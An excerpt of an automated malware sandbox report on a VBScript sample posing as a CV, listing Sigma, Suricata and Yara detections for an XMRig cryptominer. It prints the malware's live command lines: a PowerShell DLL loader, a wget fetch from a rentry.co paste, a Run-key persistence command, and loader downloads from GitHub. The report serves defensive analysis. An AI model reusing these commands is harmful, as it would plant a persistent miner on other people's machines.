Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H , CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H , CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX(), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7832, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H , ProcessId: 3668, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX(), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7832, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs" , ProcessId: 8032, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs", ProcessId: 7488, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\miner\mine_start.vbs, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 7816, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XmrigMiner

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f , CommandLine: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f , CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7772, ParentProcessName: cmd.exe, ProcessCommandLine: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f , ProcessId: 7816, ProcessName: reg.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX(), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7832, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline", ProcessId: 7952, ProcessName: csc.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f , CommandLine: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f , CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7772, ParentProcessName: cmd.exe, ProcessCommandLine: reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f , ProcessId: 7816, ProcessName: reg.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs", ProcessId: 7488, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7832, TargetFilename: C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX(), CommandLine: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX(), CommandLine|base64offset|contains: >^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7772, ParentProcessName: cmd.exe, ProcessCommandLine: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX(), ProcessId: 7832, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX(), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7832, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline", ProcessId: 7952, ProcessName: csc.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 142.250.186.36

Timestamp:	2024-08-05T11:57:27.473811+0200
SID:	2803274
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 185.199.110.133

Timestamp:	2024-08-05T11:57:28.276991+0200
SID:	2803270
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO COINMINER XMR CoinMiner Usage - Source IP: 192.168.2.4 - Destination IP: 34.149.22.228

Timestamp:	2024-08-05T11:57:15.058864+0200
SID:	2826930
Source Port:	49738
Destination Port:	9200
Protocol:	TCP
Classtype:	Crypto Currency Mining Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.google.com

URL Reputation: Label: malware

Multi AV Scanner detection for domain / URL

Source: 0.tcp.in.ngrok.io

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\32aef5a1e2625241be82835248f96587.tmp	Virustotal: Detection: 28%			Perma Link
Source: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\ef6e2f792af92b4b9f5dc85422487e31.tmp	Virustotal: Detection: 13%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_2c50d41e-a

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 10.2.powershell.exe.180963810.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.248ed871e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3169590185.00000248EBAF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2958519401.0000000140C22000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3169590185.00000248EBB09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2959232520.0000000180ECC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2959232520.0000000180701000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3169590185.00000248EBB1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3177023053.00000248ED7B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7832, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 34.149.22.228:9200 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"nhbdxqtngdtw5a1c9hdjdzhyvkbgkla6apbc.216041","pass":"x","agent":"xmrig/6.21.2 (windows nt 10.0; win64; x64) libuv/1.48.0 gcc/13.2.0","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: stratum+ssl://randomx.xmrig.com:443
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: XMRig 6.21.2

Source: unknown

HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49731 version: TLS 1.2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: rentry.co
Source: unknown	DNS query: name: rentry.co

Found Tor onion address

Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cG../../lib/libexpat_metalink_parser.c0rbmetalinkhttp://www.metalinker.org/typeoriginurn:ietf:params:xml:ns:metalinkdynamictagsidentityfilesfilenamesizeversionlanguageverificationresourcesmaxconnectionsurltypelocationpreferencehashpieceslengthpiece%Y-%m-%dT%H:%M:%S%H:%MfilenamegeneratororigindynamictruepublishedupdatedurllocationprioritymetaurlmediatypehashtypepieceslengthsignaturepublisherdescriptioncopyrightidentitylogolanguagesizeversionSystem\CurrentControlSet\Services\Tcpip\ParametersDatabasePathr%uudpsctpdccptcp.onion.onion., System\CurrentControlSet\Services\Tcpip\ParametersSearchListDomainSoftware\Policies\Microsoft\Windows NT\DNSClientSoftware\Policies\Microsoft\System\DNSClientPrimaryDNSSuffixSystem\CurrentControlSet\Services\Tcpip\Parameters\InterfacesDhcpDomainLOCALDOMAINRES_OPTIONSndots:retrans:retry:rotatefb
Source: powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cG../../lib/libexpat_metalink_parser.c0rbmetalinkhttp://www.metalinker.org/typeoriginurn:ietf:params:xml:ns:metalinkdynamictagsidentityfilesfilenamesizeversionlanguageverificationresourcesmaxconnectionsurltypelocationpreferencehashpieceslengthpiece%Y-%m-%dT%H:%M:%S%H:%MfilenamegeneratororigindynamictruepublishedupdatedurllocationprioritymetaurlmediatypehashtypepieceslengthsignaturepublisherdescriptioncopyrightidentitylogolanguagesizeversionSystem\CurrentControlSet\Services\Tcpip\ParametersDatabasePathr%uudpsctpdccptcp.onion.onion., System\CurrentControlSet\Services\Tcpip\ParametersSearchListDomainSoftware\Policies\Microsoft\Windows NT\DNSClientSoftware\Policies\Microsoft\System\DNSClientPrimaryDNSSuffixSystem\CurrentControlSet\Services\Tcpip\Parameters\InterfacesDhcpDomainLOCALDOMAINRES_OPTIONSndots:retrans:retry:rotatefb

Queries Google from non browser process on port 80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

HTTP traffic: GET / HTTP/1.1 User-Agent: InternetCheck Host: www.google.com

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping localhost -n 60

Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 34.149.22.228:9200
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 3.6.115.64:11741

Source: Joe Sandbox View	IP Address: 104.26.3.16 104.26.3.16
Source: Joe Sandbox View	IP Address: 34.149.22.228 34.149.22.228
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133
Source: Joe Sandbox View	IP Address: 3.6.115.64 3.6.115.64

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ATGS-MMD-ASUS ATGS-MMD-ASUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /DevilBot000/DarkLoader/main/q64New.encode HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 7; Win64; x64)Host: raw.githubusercontent.comCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /DevilBot000/DarkLoader/main/q64New.encode HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 7; Win64; x64)Host: raw.githubusercontent.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw%C3%ABH%02 HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw%C3%ABH%02 HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw%EBH%02 HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /DevilBot000/Client_IP_PORT/main/IP_PORT HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw%C3%ABH%02 HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw%EBH%02 HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /DevilBot000/Client_IP_PORT/main/IP_PORT HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zsbkz/raw HTTP/1.1Host: rentry.coUser-Agent: Wget/1.21.4Accept: /Accept-Encoding: identityConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: InternetCheckHost: www.google.com

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: randomxmonero.auto.nicehash.com
Source: global traffic	DNS traffic detected: DNS query: rentry.co
Source: global traffic	DNS traffic detected: DNS query: 0.tcp.in.ngrok.io

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 09:57:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VO47pj1QnOifgjbFwzHkPrmMr4AeUWZS8%2BDJYAAyiLQU8gGPNNQeMooWD332b3RSVKVycvrF7bVV5GYS9f1bDrgedmPn%2FfvbZ0tD11qBOq2EZjJaXE8gsxpf%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ae5ecf15e987ca8-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 09:58:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Q%2F9XwaxK4rTBPFffUNL6gGfyy6ZrMibG4acei2Y3UPMpgVN4C34t%2FWSey3oksc%2BC8VUJvjNfoDzxSTF4h2X3UXU85RXRdTUBZKtQKx5nzm66%2FDnwJ0kpnBP2w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ae5edf619064357-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 09:58:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3rrlWVqyvOTIp7w4iwGRKZ%2F5PHCDvpkwL3SHeIjOYmyLgXle7jDVB%2B%2Fh7QmdUR2yNEClpcPMbJ7CJpD6TAchBJ5uOkL%2Fos7JPwzpMPr2%2F9jdNL3VDCmW%2FOZHRg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ae5edfa883e42f2-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 09:59:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SNYdLSPUbQk6%2B2wwLHZblPYIO3Sut4rZuz%2F7tlIg98Tb6uKPNAvXI7PQ2Z1zF7CVCvFBvhXx2%2FuPZOzAQfCFvim%2FKtQOt2S9gG31kf%2FnUEt%2BIQ7VFTOKjWqbmg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ae5eee069321849-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 09:59:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y4cKftFyIpBpqrnyTF0lByeVchWKxZZln%2FXsFZBTwUIXJCLHNZBREj4P8HSk54NHcKw23PzN0V3DWAjxFPozean3MGMhMl3VBaK6kP8Lxbo9VGGkinw0rScmJw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ae5eee60b17426b-EWR

